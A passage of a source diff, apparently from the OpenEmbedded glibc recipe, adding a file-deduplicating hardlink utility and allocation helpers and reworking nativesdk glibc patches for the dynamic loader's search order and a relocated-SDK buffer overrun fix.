++}
++
++__attribute__ ((always_inline))
++static inline size_t add2(size_t a, size_t b)
++{
++ size_t sum = a + b;
++
++ if (sum < a)
++ errx(EXIT_FAILURE, _("integer overflow"));
++ return sum;
++}
++
++__attribute__ ((always_inline))
++static inline size_t add3(size_t a, size_t b, size_t c)
++{
++ return add2(add2(a, b), c);
++}
++
++static void growstr(struct hardlink_dynstr *str, size_t newlen)
++{
++ if (newlen < str->alloc)
++ return;
++ str->buf = xrealloc(str->buf, str->alloc = add2(newlen, 1));
++}
++
++static void process_path(struct hardlink_ctl *ctl, const char *name)
++{
++ struct stat st, st2, st3;
++ const size_t namelen = strlen(name);
++
++ ctl->nobjects++;
++ if (lstat(name, &st))
++ return;
++
++ if (st.st_dev != ctl->dev && !ctl->force) {
++ if (ctl->dev)
++ errx(EXIT_FAILURE,
++ _("%s is on different filesystem than the rest "
++ "(use -f option to override)."), name);
++ ctl->dev = st.st_dev;
++ }
++ if (S_ISDIR(st.st_mode)) {
++ struct hardlink_dir *dp = xmalloc(add3(sizeof(*dp), namelen, 1));
++ memcpy(dp->name, name, namelen + 1);
++ dp->next = ctl->dirs;
++ ctl->dirs = dp;
++
++ } else if (S_ISREG(st.st_mode)) {
++ int fd, i;
++ struct hardlink_file *fp, *fp2;
++ struct hardlink_hash *hp;
++ const char *n1, *n2;
++ unsigned int buf[NBUF];
++ int cksumsize = sizeof(buf);
++ unsigned int cksum;
++ time_t mtime = ctl->content_only ? 0 : st.st_mtime;
++ unsigned int hsh = hash(st.st_size, mtime);
++ off_t fsize;
++
++ ctl->nregfiles++;
++ if (ctl->verbose > 1)
++ printf("%s\n", name);
++
++ fd = open(name, O_RDONLY);
++ if (fd < 0)
++ return;
++
++ if ((size_t)st.st_size < sizeof(buf)) {
++ cksumsize = st.st_size;
++ memset(((char *)buf) + cksumsize, 0,
++ (sizeof(buf) - cksumsize) % sizeof(buf[0]));
++ }
++ if (read(fd, buf, cksumsize) != cksumsize) {
++ close(fd);
++ return;
++ }
++ cksumsize = (cksumsize + sizeof(buf[0]) - 1) / sizeof(buf[0]);
++ for (i = 0, cksum = 0; i < cksumsize; i++) {
++ if (cksum + buf[i] < cksum)
++ cksum += buf[i] + 1;
++ else
++ cksum += buf[i];
++ }
++ for (hp = ctl->hps[hsh]; hp; hp = hp->next) {
++ if (hp->size == st.st_size && hp->mtime == mtime)
++ break;
++ }
++ if (!hp) {
++ hp = xmalloc(sizeof(*hp));
++ hp->size = st.st_size;
++ hp->mtime = mtime;
++ hp->chain = NULL;
++ hp->next = ctl->hps[hsh];
++ ctl->hps[hsh] = hp;
++ }
++ for (fp = hp->chain; fp; fp = fp->next) {
++ if (fp->cksum == cksum)
++ break;
++ }
++ for (fp2 = fp; fp2 && fp2->cksum == cksum; fp2 = fp2->next) {
++ if (fp2->ino == st.st_ino && fp2->dev == st.st_dev) {
++ close(fd);
++ return;
++ }
++ }
++ for (fp2 = fp; fp2 && fp2->cksum == cksum; fp2 = fp2->next) {
++
++ if (!lstat(fp2->name, &st2) && S_ISREG(st2.st_mode) &&
++ !stcmp(&st, &st2, ctl->content_only) &&
++ st2.st_ino != st.st_ino &&
++ st2.st_dev == st.st_dev) {
++
++ int fd2 = open(fp2->name, O_RDONLY);
++ if (fd2 < 0)
++ continue;
++
++ if (fstat(fd2, &st2) || !S_ISREG(st2.st_mode)
++ || st2.st_size == 0) {
++ close(fd2);
++ continue;
++ }
++ ctl->ncomp++;
++ lseek(fd, 0, SEEK_SET);
++
++ for (fsize = st.st_size; fsize > 0;
++ fsize -= (off_t)sizeof(ctl->iobuf1)) {
++ ssize_t xsz;
++ ssize_t rsize = fsize > (ssize_t) sizeof(ctl->iobuf1) ?
++ (ssize_t) sizeof(ctl->iobuf1) : fsize;
++
++ if ((xsz = read(fd, ctl->iobuf1, rsize)) != rsize)
++ warn(_("cannot read %s"), name);
++ else if ((xsz = read(fd2, ctl->iobuf2, rsize)) != rsize)
++ warn(_("cannot read %s"), fp2->name);
++
++ if (xsz != rsize) {
++ close(fd);
++ close(fd2);
++ return;
++ }
++ if (memcmp(ctl->iobuf1, ctl->iobuf2, rsize))
++ break;
++ }
++ close(fd2);
++ if (fsize > 0)
++ continue;
++ if (lstat(name, &st3)) {
++ warn(_("cannot stat %s"), name);
++ close(fd);
++ return;
++ }
++ st3.st_atime = st.st_atime;
++ if (stcmp(&st, &st3, 0)) {
++ warnx(_("file %s changed underneath us"), name);
++ close(fd);
++ return;
++ }
++ n1 = fp2->name;
++ n2 = name;
++
++ if (!ctl->no_link) {
++ const char *suffix =
++ ".$$$___cleanit___$$$";
++ const size_t suffixlen = strlen(suffix);
++ size_t n2len = strlen(n2);
++ struct hardlink_dynstr nam2 = { NULL, 0 };
++
++ growstr(&nam2, add2(n2len, suffixlen));
++ memcpy(nam2.buf, n2, n2len);
++ memcpy(&nam2.buf[n2len], suffix,
++ suffixlen + 1);
++ /* First create a temporary link to n1 under a new name */
++ if (link(n1, nam2.buf)) {
++ warn(_("failed to hardlink %s to %s (create temporary link as %s failed)"),
++ n1, n2, nam2.buf);
++ free(nam2.buf);
++ continue;
++ }
++ /* Then rename into place over the existing n2 */
++ if (rename(nam2.buf, n2)) {
++ warn(_("failed to hardlink %s to %s (rename temporary link to %s failed)"),
++ n1, n2, n2);
++ /* Something went wrong, try to remove the now redundant temporary link */
++ if (unlink(nam2.buf))
++ warn(_("failed to remove temporary link %s"), nam2.buf);
++ free(nam2.buf);
++ continue;
++ }
++ free(nam2.buf);
++ }
++ ctl->nlinks++;
++ if (st3.st_nlink > 1) {
++ /* We actually did not save anything this time, since the link second argument
++ had some other links as well. */
++ if (ctl->verbose > 1)
++ printf(_(" %s %s to %s\n"),
++ (ctl->no_link ? _("Would link") : _("Linked")),
++ n1, n2);
++ } else {
++ ctl->nsaved += ((st.st_size + 4095) / 4096) * 4096;
++ if (ctl->verbose > 1)
++ printf(_(" %s %s to %s, %s %jd\n"),
++ (ctl->no_link ? _("Would link") : _("Linked")),
++ n1, n2,
++ (ctl->no_link ? _("would save") : _("saved")),
++ (intmax_t)st.st_size);
++ }
++ close(fd);
++ return;
++ }
++ }
++ fp2 = xmalloc(add3(sizeof(*fp2), namelen, 1));
++ close(fd);
++ fp2->ino = st.st_ino;
++ fp2->dev = st.st_dev;
++ fp2->cksum = cksum;
++ memcpy(fp2->name, name, namelen + 1);
++
++ if (fp) {
++ fp2->next = fp->next;
++ fp->next = fp2;
++ } else {
++ fp2->next = hp->chain;
++ hp->chain = fp2;
++ }
++ return;
++ }
++}
++
++int main(int argc, char **argv)
++{
++ int ch;
++ int i;
++#ifdef HAVE_PCRE
++ int errornumber;
++ PCRE2_SIZE erroroffset;
++ pcre2_code *re = NULL;
++ PCRE2_SPTR exclude_pattern = NULL;
++ pcre2_match_data *match_data = NULL;
++#endif
++ struct hardlink_dynstr nam1 = { NULL, 0 };
++ struct hardlink_ctl *ctl = &global_ctl;
++
++ static const struct option longopts[] = {
++ { "content", no_argument, NULL, 'c' },
++ { "dry-run", no_argument, NULL, 'n' },
++ { "exclude", required_argument, NULL, 'x' },
++ { "force", no_argument, NULL, 'f' },
++ { "help", no_argument, NULL, 'h' },
++ { "verbose", no_argument, NULL, 'v' },
++ { "version", no_argument, NULL, 'V' },
++ { NULL, 0, NULL, 0 },
++ };
++
++ setlocale(LC_ALL, "");
++ bindtextdomain(PACKAGE, LOCALEDIR);
++ textdomain(PACKAGE);
++ close_stdout_atexit();
++
++ while ((ch = getopt_long(argc, argv, "cnvfx:Vh", longopts, NULL)) != -1) {
++ switch (ch) {
++ case 'n':
++ ctl->no_link = 1;
++ break;
++ case 'v':
++ ctl->verbose++;
++ break;
++ case 'c':
++ ctl->content_only = 1;
++ break;
++ case 'f':
++ ctl->force = 1;
++ break;
++ case 'x':
++#ifdef HAVE_PCRE
++ exclude_pattern = (PCRE2_SPTR) optarg;
++#else
++ errx(EXIT_FAILURE,
++ _("option --exclude not supported (built without pcre2)"));
++#endif
++ break;
++ case 'V':
++ print_version(EXIT_SUCCESS);
++ case 'h':
++ usage();
++ default:
++ errtryhelp(EXIT_FAILURE);
++ }
++ }
++
++ if (optind == argc) {
++ warnx(_("no directory specified"));
++ errtryhelp(EXIT_FAILURE);
++ }
++
++#ifdef HAVE_PCRE
++ if (exclude_pattern) {
++ re = pcre2_compile(exclude_pattern, /* the pattern */
++ PCRE2_ZERO_TERMINATED, /* indicates pattern is zero-terminate */
++ 0, /* default options */
++ &errornumber, &erroroffset, NULL); /* use default compile context */
++ if (!re) {
++ PCRE2_UCHAR buffer[256];
++ pcre2_get_error_message(errornumber, buffer,
++ sizeof(buffer));
++ errx(EXIT_FAILURE, _("pattern error at offset %d: %s"),
++ (int)erroroffset, buffer);
++ }
++ match_data = pcre2_match_data_create_from_pattern(re, NULL);
++ }
++#endif
++ atexit(print_summary);
++
++ for (i = optind; i < argc; i++)
++ process_path(ctl, argv[i]);
++
++ while (ctl->dirs) {
++ DIR *dh;
++ struct dirent *di;
++ struct hardlink_dir *dp = ctl->dirs;
++ size_t nam1baselen = strlen(dp->name);
++
++ ctl->dirs = dp->next;
++ growstr(&nam1, add2(nam1baselen, 1));
++ memcpy(nam1.buf, dp->name, nam1baselen);
++ free(dp);
++ nam1.buf[nam1baselen++] = '/';
++ nam1.buf[nam1baselen] = 0;
++ dh = opendir(nam1.buf);
++
++ if (dh == NULL)
++ continue;
++ ctl->ndirs++;
++
++ while ((di = readdir(dh)) != NULL) {
++ if (!di->d_name[0])
++ continue;
++ if (di->d_name[0] == '.') {
++ if (!di->d_name[1] || !strcmp(di->d_name, ".."))
++ continue;
++ }
++#ifdef HAVE_PCRE
++ if (re && pcre2_match(re, /* compiled regex */
++ (PCRE2_SPTR) di->d_name, strlen(di->d_name), 0, /* start at offset 0 */
++ 0, /* default options */
++ match_data, /* block for storing the result */
++ NULL) /* use default match context */
++ >=0) {
++ if (ctl->verbose) {
++ nam1.buf[nam1baselen] = 0;
++ printf(_("Skipping %s%s\n"), nam1.buf, di->d_name);
++ }
++ continue;
++ }
++#endif
++ {
++ size_t subdirlen;
++ growstr(&nam1,
++ add2(nam1baselen, subdirlen =
++ strlen(di->d_name)));
++ memcpy(&nam1.buf[nam1baselen], di->d_name,
++ add2(subdirlen, 1));
++ }
++ process_path(ctl, nam1.buf);
++ }
++ closedir(dh);
++ }
++
++ return 0;
++}
+diff --git a/locale/programs/xalloc.h b/locale/programs/xalloc.h
+new file mode 100644
+index 0000000000..0129a85e2e
+--- /dev/null
++++ b/locale/programs/xalloc.h
+@@ -0,0 +1,129 @@
++/*
++ * Copyright (C) 2010 Davidlohr Bueso <dave@gnu.org>
++ *
++ * This file may be redistributed under the terms of the
++ * GNU Lesser General Public License.
++ *
++ * General memory allocation wrappers for malloc, realloc, calloc and strdup
++ */
++
++#ifndef UTIL_LINUX_XALLOC_H
++#define UTIL_LINUX_XALLOC_H
++
++#include <stdlib.h>
++#include <string.h>
++
++#include "c.h"
++
++#ifndef XALLOC_EXIT_CODE
++# define XALLOC_EXIT_CODE EXIT_FAILURE
++#endif
++
++static inline void __attribute__((__noreturn__))
++__err_oom(const char *file, unsigned int line)
++{
++ err(XALLOC_EXIT_CODE, "%s: %u: cannot allocate memory", file, line);
++}
++
++#define err_oom() __err_oom(__FILE__, __LINE__)
++
++static inline __ul_alloc_size(1) __ul_returns_nonnull
++void *xmalloc(const size_t size)
++{
++ void *ret = malloc(size);
++
++ if (!ret && size)
++ err(XALLOC_EXIT_CODE, "cannot allocate %zu bytes", size);
++ return ret;
++}
++
++static inline __ul_alloc_size(2) __ul_returns_nonnull
++void *xrealloc(void *ptr, const size_t size)
++{
++ void *ret = realloc(ptr, size);
++
++ if (!ret && size)
++ err(XALLOC_EXIT_CODE, "cannot allocate %zu bytes", size);
++ return ret;
++}
++
++static inline __ul_calloc_size(1, 2) __ul_returns_nonnull
++void *xcalloc(const size_t nelems, const size_t size)
++{
++ void *ret = calloc(nelems, size);
++
++ if (!ret && size && nelems)
++ err(XALLOC_EXIT_CODE, "cannot allocate %zu bytes", size);
++ return ret;
++}
++
++static inline char __attribute__((warn_unused_result)) __ul_returns_nonnull
++*xstrdup(const char *str)
++{
++ char *ret;
++
++ if (!str)
++ return NULL;
++
++ ret = strdup(str);
++
++ if (!ret)
++ err(XALLOC_EXIT_CODE, "cannot duplicate string");
++ return ret;
++}
++
++static inline char * __attribute__((warn_unused_result)) __ul_returns_nonnull
++xstrndup(const char *str, size_t size)
++{
++ char *ret;
++
++ if (!str)
++ return NULL;
++
++ ret = strndup(str, size);
++
++ if (!ret)
++ err(XALLOC_EXIT_CODE, "cannot duplicate string");
++ return ret;
++}
++
++
++static inline int __attribute__ ((__format__(printf, 2, 3)))
++ xasprintf(char **strp, const char *fmt, ...)
++{
++ int ret;
++ va_list args;
++ va_start(args, fmt);
++ ret = vasprintf(&(*strp), fmt, args);
++ va_end(args);
++ if (ret < 0)
++ err(XALLOC_EXIT_CODE, "cannot allocate string");
++ return ret;
++}
++
++static inline int __attribute__ ((__format__(printf, 2, 0)))
++xvasprintf(char **strp, const char *fmt, va_list ap)
++{
++ int ret = vasprintf(&(*strp), fmt, ap);
++ if (ret < 0)
++ err(XALLOC_EXIT_CODE, "cannot allocate string");
++ return ret;
++}
++
++
++static inline char * __attribute__((warn_unused_result)) xgethostname(void)
++{
++ char *name;
++ size_t sz = get_hostname_max() + 1;
++
++ name = xmalloc(sizeof(char) * sz);
++
++ if (gethostname(name, sz) != 0) {
++ free(name);
++ return NULL;
++ }
++ name[sz - 1] = '\0';
++ return name;
++}
++
++#endif
diff --git a/meta/recipes-core/glibc/glibc/0001-nativesdk-glibc-Look-for-host-system-ld.so.cache-as-.patch b/meta/recipes-core/glibc/glibc/0001-nativesdk-glibc-Look-for-host-system-ld.so.cache-as-.patch
deleted file mode 100644
index d86d1d8dc7..0000000000
--- a/meta/recipes-core/glibc/glibc/0001-nativesdk-glibc-Look-for-host-system-ld.so.cache-as-.patch
+++ /dev/null
@@ -1,69 +0,0 @@
-From f6984c923b41155979764bfa3f44609572be5414 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 01:48:24 +0000
-Subject: [PATCH 01/28] nativesdk-glibc: Look for host system ld.so.cache as
- well
-
-Upstream-Status: Inappropriate [embedded specific]
-
-The default lib search path order is:
-
- 1) LD_LIBRARY_PATH
- 2) RPATH from the binary
- 3) ld.so.cache
- 4) default search paths embedded in the linker
-
-For nativesdk binaries which are being used alongside binaries on a host system, we
-need the search paths to firstly search the shipped nativesdk libs but then also
-cover the host system. For example we want the host system's libGL and this may be
-in a non-standard location like /usr/lib/mesa. The only place the location is know
-about is in the ld.so.cache of the host system.
-
-Since nativesdk has a simple structure and doesn't need to use a cache itself, we
-repurpose the cache for use as a last resort in finding host system binaries. This
-means we need to switch the order of 3 and 4 above to make this work effectively.
-
-RP 14/10/2010
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- elf/dl-load.c | 16 ++++++++--------
- 1 file changed, 8 insertions(+), 8 deletions(-)
-
-diff --git a/elf/dl-load.c b/elf/dl-load.c
-index 5abeb867f1..981bd5b4af 100644
---- a/elf/dl-load.c
-+++ b/elf/dl-load.c
-@@ -2080,6 +2080,14 @@ _dl_map_object (struct link_map *loader, const char *name,
- }
- }
-
-+ /* try the default path. */
-+ if (fd == -1
-+ && ((l = loader ?: GL(dl_ns)[nsid]._ns_loaded) == NULL
-+ || __builtin_expect (!(l->l_flags_1 & DF_1_NODEFLIB), 1))
-+ && rtld_search_dirs.dirs != (void *) -1)
-+ fd = open_path (name, namelen, mode & __RTLD_SECURE, &rtld_search_dirs,
-+ &realname, &fb, l, LA_SER_DEFAULT, &found_other_class);
-+ /* Finally try ld.so.cache */
- #ifdef USE_LDCONFIG
- if (fd == -1
- && (__glibc_likely ((mode & __RTLD_SECURE) == 0)
-@@ -2138,14 +2146,6 @@ _dl_map_object (struct link_map *loader, const char *name,
- }
- #endif
-
-- /* Finally, try the default path. */
-- if (fd == -1
-- && ((l = loader ?: GL(dl_ns)[nsid]._ns_loaded) == NULL
-- || __glibc_likely (!(l->l_flags_1 & DF_1_NODEFLIB)))
-- && rtld_search_dirs.dirs != (void *) -1)
-- fd = open_path (name, namelen, mode, &rtld_search_dirs,
-- &realname, &fb, l, LA_SER_DEFAULT, &found_other_class);
--
- /* Add another newline when we are tracing the library loading. */
- if (__glibc_unlikely (GLRO(dl_debug_mask) & DL_DEBUG_LIBS))
- _dl_debug_printf ("\n");
---
-2.22.0
-
diff --git a/meta/recipes-core/glibc/glibc/0002-localedef-fix-ups-hardlink-to-make-it-compile.patch b/meta/recipes-core/glibc/glibc/0002-localedef-fix-ups-hardlink-to-make-it-compile.patch
new file mode 100644
index 0000000000..94a05cf954
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0002-localedef-fix-ups-hardlink-to-make-it-compile.patch
@@ -0,0 +1,238 @@
+From 87a69126d97bb8d5d52e34e451b4a7076efd6bed Mon Sep 17 00:00:00 2001
+From: Jason Wessel <jason.wessel@windriver.com>
+Date: Sat, 7 Dec 2019 10:01:37 -0800
+Subject: [PATCH] localedef: fix-ups hardlink to make it compile
+
+Upstream-Status: Pending
+Signed-off-by: Jason Wessel <jason.wessel@windriver.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ locale/programs/c.h | 2 +-
+ locale/programs/cross-localedef-hardlink.c | 79 +++++++++++-----------
+ 2 files changed, 39 insertions(+), 42 deletions(-)
+
+diff --git a/locale/programs/c.h b/locale/programs/c.h
+index d0a402e90e..1804d31c73 100644
+--- a/locale/programs/c.h
++++ b/locale/programs/c.h
+@@ -240,7 +240,7 @@ errmsg(char doexit, int excode, char adderr, const char *fmt, ...)
+ /* Don't use inline function to avoid '#include "nls.h"' in c.h
+ */
+ #define errtryhelp(eval) __extension__ ({ \
+- fprintf(stderr, _("Try '%s --help' for more information.\n"), \
++ fprintf(stderr, ("Try '%s --help' for more information.\n"), \
+ program_invocation_short_name); \
+ exit(eval); \
+ })
+diff --git a/locale/programs/cross-localedef-hardlink.c b/locale/programs/cross-localedef-hardlink.c
+index 63615896b0..726e6dd948 100644
+--- a/locale/programs/cross-localedef-hardlink.c
++++ b/locale/programs/cross-localedef-hardlink.c
+@@ -20,6 +20,8 @@
+ * with this program; if not, write to the Free Software Foundation, Inc.,
+ * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ */
++
++#undef HAVE_PCRE
+ #include <sys/types.h>
+ #include <stdlib.h>
+ #include <getopt.h>
+@@ -38,8 +40,8 @@
+
+ #include "c.h"
+ #include "xalloc.h"
+-#include "nls.h"
+-#include "closestream.h"
++//#include "nls.h"
++//#include "closestream.h"
+
+ #define NHASH (1<<17) /* Must be a power of 2! */
+ #define NBUF 64
+@@ -124,33 +126,33 @@ static void print_summary(void)
+ if (ctl->verbose > 1 && ctl->nlinks)
+ fputc('\n', stdout);
+
+- printf(_("Directories: %9lld\n"), ctl->ndirs);
+- printf(_("Objects: %9lld\n"), ctl->nobjects);
+- printf(_("Regular files: %9lld\n"), ctl->nregfiles);
+- printf(_("Comparisons: %9lld\n"), ctl->ncomp);
++ printf(("Directories: %9lld\n"), ctl->ndirs);
++ printf(("Objects: %9lld\n"), ctl->nobjects);
++ printf(("Regular files: %9lld\n"), ctl->nregfiles);
++ printf(("Comparisons: %9lld\n"), ctl->ncomp);
+ printf( "%s%9lld\n", (ctl->no_link ?
+- _("Would link: ") :
+- _("Linked: ")), ctl->nlinks);
++ ("Would link: ") :
++ ("Linked: ")), ctl->nlinks);
+ printf( "%s %9lld\n", (ctl->no_link ?
+- _("Would save: ") :
+- _("Saved: ")), ctl->nsaved);
++ ("Would save: ") :
++ ("Saved: ")), ctl->nsaved);
+ }
+
+ static void __attribute__((__noreturn__)) usage(void)
+ {
+ fputs(USAGE_HEADER, stdout);
+- printf(_(" %s [options] directory...\n"), program_invocation_short_name);
++ printf((" %s [options] directory...\n"), program_invocation_short_name);
+
+ fputs(USAGE_SEPARATOR, stdout);
+- puts(_("Consolidate duplicate files using hardlinks."));
++ puts(("Consolidate duplicate files using hardlinks."));
+
+ fputs(USAGE_OPTIONS, stdout);
+- puts(_(" -c, --content compare only contents, ignore permission, etc."));
+- puts(_(" -n, --dry-run don't actually link anything"));
+- puts(_(" -v, --verbose print summary after hardlinking"));
+- puts(_(" -vv print every hardlinked file and summary"));
+- puts(_(" -f, --force force hardlinking across filesystems"));
+- puts(_(" -x, --exclude <regex> exclude files matching pattern"));
++ puts((" -c, --content compare only contents, ignore permission, etc."));
++ puts((" -n, --dry-run don't actually link anything"));
++ puts((" -v, --verbose print summary after hardlinking"));
++ puts((" -vv print every hardlinked file and summary"));
++ puts((" -f, --force force hardlinking across filesystems"));
++ puts((" -x, --exclude <regex> exclude files matching pattern"));
+
+ fputs(USAGE_SEPARATOR, stdout);
+ printf(USAGE_HELP_OPTIONS(16)); /* char offset to align option descriptions */
+@@ -164,7 +166,7 @@ static inline size_t add2(size_t a, size_t b)
+ size_t sum = a + b;
+
+ if (sum < a)
+- errx(EXIT_FAILURE, _("integer overflow"));
++ errx(EXIT_FAILURE, ("integer overflow"));
+ return sum;
+ }
+
+@@ -193,7 +195,7 @@ static void process_path(struct hardlink_ctl *ctl, const char *name)
+ if (st.st_dev != ctl->dev && !ctl->force) {
+ if (ctl->dev)
+ errx(EXIT_FAILURE,
+- _("%s is on different filesystem than the rest "
++ ("%s is on different filesystem than the rest "
+ "(use -f option to override)."), name);
+ ctl->dev = st.st_dev;
+ }
+@@ -287,9 +289,9 @@ static void process_path(struct hardlink_ctl *ctl, const char *name)
+ (ssize_t) sizeof(ctl->iobuf1) : fsize;
+
+ if ((xsz = read(fd, ctl->iobuf1, rsize)) != rsize)
+- warn(_("cannot read %s"), name);
++ warn(("cannot read %s"), name);
+ else if ((xsz = read(fd2, ctl->iobuf2, rsize)) != rsize)
+- warn(_("cannot read %s"), fp2->name);
++ warn(("cannot read %s"), fp2->name);
+
+ if (xsz != rsize) {
+ close(fd);
+@@ -303,13 +305,13 @@ static void process_path(struct hardlink_ctl *ctl, const char *name)
+ if (fsize > 0)
+ continue;
+ if (lstat(name, &st3)) {
+- warn(_("cannot stat %s"), name);
++ warn(("cannot stat %s"), name);
+ close(fd);
+ return;
+ }
+ st3.st_atime = st.st_atime;
+ if (stcmp(&st, &st3, 0)) {
+- warnx(_("file %s changed underneath us"), name);
++ warnx(("file %s changed underneath us"), name);
+ close(fd);
+ return;
+ }
+@@ -329,18 +331,18 @@ static void process_path(struct hardlink_ctl *ctl, const char *name)
+ suffixlen + 1);
+ /* First create a temporary link to n1 under a new name */
+ if (link(n1, nam2.buf)) {
+- warn(_("failed to hardlink %s to %s (create temporary link as %s failed)"),
++ warn(("failed to hardlink %s to %s (create temporary link as %s failed)"),
+ n1, n2, nam2.buf);
+ free(nam2.buf);
+ continue;
+ }
+ /* Then rename into place over the existing n2 */
+ if (rename(nam2.buf, n2)) {
+- warn(_("failed to hardlink %s to %s (rename temporary link to %s failed)"),
++ warn(("failed to hardlink %s to %s (rename temporary link to %s failed)"),
+ n1, n2, n2);
+ /* Something went wrong, try to remove the now redundant temporary link */
+ if (unlink(nam2.buf))
+- warn(_("failed to remove temporary link %s"), nam2.buf);
++ warn(("failed to remove temporary link %s"), nam2.buf);
+ free(nam2.buf);
+ continue;
+ }
+@@ -351,16 +353,16 @@ static void process_path(struct hardlink_ctl *ctl, const char *name)
+ /* We actually did not save anything this time, since the link second argument
+ had some other links as well. */
+ if (ctl->verbose > 1)
+- printf(_(" %s %s to %s\n"),
+- (ctl->no_link ? _("Would link") : _("Linked")),
++ printf((" %s %s to %s\n"),
++ (ctl->no_link ? ("Would link") : ("Linked")),
+ n1, n2);
+ } else {
+ ctl->nsaved += ((st.st_size + 4095) / 4096) * 4096;
+ if (ctl->verbose > 1)
+- printf(_(" %s %s to %s, %s %jd\n"),
+- (ctl->no_link ? _("Would link") : _("Linked")),
++ printf((" %s %s to %s, %s %jd\n"),
++ (ctl->no_link ? ("Would link") : ("Linked")),
+ n1, n2,
+- (ctl->no_link ? _("would save") : _("saved")),
++ (ctl->no_link ? ("would save") : ("saved")),
+ (intmax_t)st.st_size);
+ }
+ close(fd);
+@@ -410,11 +412,6 @@ int main(int argc, char **argv)
+ { NULL, 0, NULL, 0 },
+ };
+
+- setlocale(LC_ALL, "");
+- bindtextdomain(PACKAGE, LOCALEDIR);
+- textdomain(PACKAGE);
+- close_stdout_atexit();
+-
+ while ((ch = getopt_long(argc, argv, "cnvfx:Vh", longopts, NULL)) != -1) {
+ switch (ch) {
+ case 'n':
+@@ -434,7 +431,7 @@ int main(int argc, char **argv)
+ exclude_pattern = (PCRE2_SPTR) optarg;
+ #else
+ errx(EXIT_FAILURE,
+- _("option --exclude not supported (built without pcre2)"));
++ ("option --exclude not supported (built without pcre2)"));
+ #endif
+ break;
+ case 'V':
+@@ -447,7 +444,7 @@ int main(int argc, char **argv)
+ }
+
+ if (optind == argc) {
+- warnx(_("no directory specified"));
++ warnx(("no directory specified"));
+ errtryhelp(EXIT_FAILURE);
+ }
+
+@@ -461,7 +458,7 @@ int main(int argc, char **argv)
+ PCRE2_UCHAR buffer[256];
+ pcre2_get_error_message(errornumber, buffer,
+ sizeof(buffer));
+- errx(EXIT_FAILURE, _("pattern error at offset %d: %s"),
++ errx(EXIT_FAILURE, ("pattern error at offset %d: %s"),
+ (int)erroroffset, buffer);
+ }
+ match_data = pcre2_match_data_create_from_pattern(re, NULL);
+@@ -506,7 +503,7 @@ int main(int argc, char **argv)
+ >=0) {
+ if (ctl->verbose) {
+ nam1.buf[nam1baselen] = 0;
+- printf(_("Skipping %s%s\n"), nam1.buf, di->d_name);
++ printf(("Skipping %s%s\n"), nam1.buf, di->d_name);
+ }
+ continue;
+ }
diff --git a/meta/recipes-core/glibc/glibc/0002-nativesdk-glibc-Fix-buffer-overrun-with-a-relocated-.patch b/meta/recipes-core/glibc/glibc/0002-nativesdk-glibc-Fix-buffer-overrun-with-a-relocated-.patch
deleted file mode 100644
index 63531082a4..0000000000
--- a/meta/recipes-core/glibc/glibc/0002-nativesdk-glibc-Fix-buffer-overrun-with-a-relocated-.patch
+++ /dev/null
@@ -1,50 +0,0 @@
-From b91c323d809039bf9b8c445418579a8b5fe61aea Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 01:50:00 +0000
-Subject: [PATCH 02/28] nativesdk-glibc: Fix buffer overrun with a relocated
- SDK
-
-When ld-linux-*.so.2 is relocated to a path that is longer than the
-original fixed location, the dynamic loader will crash in open_path
-because it implicitly assumes that max_dirnamelen is a fixed size that
-never changes.
-
-The allocated buffer will not be large enough to contain the directory
-path string which is larger than the fixed location provided at build
-time.
-
-Upstream-Status: Inappropriate [OE SDK specific]
-
-Signed-off-by: Jason Wessel <jason.wessel@windriver.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- elf/dl-load.c | 12 ++++++++++++
- 1 file changed, 12 insertions(+)
-
-diff --git a/elf/dl-load.c b/elf/dl-load.c
-index 981bd5b4af..c7a0fa58cb 100644
---- a/elf/dl-load.c
-+++ b/elf/dl-load.c
-@@ -1780,7 +1780,19 @@ open_path (const char *name, size_t namelen, int mode,
- given on the command line when rtld is run directly. */
- return -1;
-
-+ do
-+ {
-+ struct r_search_path_elem *this_dir = *dirs;
-+ if (this_dir->dirnamelen > max_dirnamelen)
-+ {
-+ max_dirnamelen = this_dir->dirnamelen;
-+ }
-+ }
-+ while (*++dirs != NULL);
-+
- buf = alloca (max_dirnamelen + max_capstrlen + namelen);
-+
-+ dirs = sps->dirs;
- do
- {
- struct r_search_path_elem *this_dir = *dirs;
---
-2.22.0
-
diff --git a/meta/recipes-core/glibc/glibc/0003-nativesdk-glibc-Look-for-host-system-ld.so.cache-as-.patch b/meta/recipes-core/glibc/glibc/0003-nativesdk-glibc-Look-for-host-system-ld.so.cache-as-.patch
new file mode 100644
index 0000000000..9a605078b9
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0003-nativesdk-glibc-Look-for-host-system-ld.so.cache-as-.patch
@@ -0,0 +1,65 @@
+From 752b0d32fc96728ee624dbd62bf23e034d8d2aed Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 18 Mar 2015 01:48:24 +0000
+Subject: [PATCH] nativesdk-glibc: Look for host system ld.so.cache as well
+
+Upstream-Status: Inappropriate [embedded specific]
+
+The default lib search path order is:
+
+ 1) LD_LIBRARY_PATH
+ 2) RPATH from the binary
+ 3) ld.so.cache
+ 4) default search paths embedded in the linker
+
+For nativesdk binaries which are being used alongside binaries on a host system, we
+need the search paths to firstly search the shipped nativesdk libs but then also
+cover the host system. For example we want the host system's libGL and this may be
+in a non-standard location like /usr/lib/mesa. The only place the location is know
+about is in the ld.so.cache of the host system.
+
+Since nativesdk has a simple structure and doesn't need to use a cache itself, we
+repurpose the cache for use as a last resort in finding host system binaries. This
+means we need to switch the order of 3 and 4 above to make this work effectively.
+
+RP 14/10/2010
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ elf/dl-load.c | 16 ++++++++--------
+ 1 file changed, 8 insertions(+), 8 deletions(-)
+
+diff --git a/elf/dl-load.c b/elf/dl-load.c
+index 721593135e..39c4657fa2 100644
+--- a/elf/dl-load.c
++++ b/elf/dl-load.c
+@@ -2208,6 +2208,14 @@ _dl_map_object (struct link_map *loader, const char *name,
+ }
+ }
+
++ /* try the default path. */
++ if (fd == -1
